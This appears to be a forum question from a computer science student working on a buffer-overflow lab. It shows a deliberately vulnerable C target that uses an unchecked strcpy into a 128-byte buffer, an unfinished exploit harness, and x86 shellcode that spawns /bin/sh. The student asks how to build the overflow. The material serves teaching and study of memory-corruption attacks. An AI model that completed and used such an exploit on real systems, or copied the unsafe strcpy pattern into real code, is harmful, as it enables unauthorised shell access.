title: Intentional buffer overflow exploit program
body: <p>I'm trying to figure out this problem for one of my comp sci classes, I've utilized every resource and still having issues, if someone could provide some insight, I'd greatly appreciate it.</p>
  
  <p>I have this "target" I need to execute a execve(“/bin/sh”) with the buffer overflow exploit. In the overflow of buf[128], when executing the unsafe command strcpy, a pointer back into the buffer appears in the location where the system expects to find return address.</p>
  
  <p>target.c</p>
  
  <pre><code>int bar(char *arg, char *out)
  {
   strcpy(out,arg);
   return 0;
  }
  
  int foo(char *argv[])
  {
   char buf[128];
   bar(argv[1], buf);
  }
  
  int main(int argc, char *argv[])
  {
   if (argc != 2)
   {
    fprintf(stderr, "target: argc != 2");
    exit(EXIT_FAILURE);
   }
   foo(argv);
   return 0;
  }
  </code></pre>
  
  <p>exploit.c</p>
  
  <pre><code>#include "shellcode.h"
  
  #define TARGET "/tmp/target1"
  
  int main(void)
  {
    char *args[3];
    char *env[1];
  
    args[0] = TARGET; args[1] = "hi there"; args[2] = NULL;
    env[0] = NULL;
  
    if (0 &gt; execve(TARGET, args, env))
      fprintf(stderr, "execve failed.\n");
  
    return 0;
  }
  </code></pre>
  
  <p>shellcode.h</p>
  
  <pre><code>static char shellcode[] =
    "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
    "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
    "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  </code></pre>
  
  <p>I understand I need to fill argv[1] with over 128 bytes, the bytes over 128 being the return address, which should be pointed back to the buffer so it executes the /bin/sh within. Is that correct thus far? Can someone provide the next step?</p>
  
  <p>Thanks very much for any help.</p>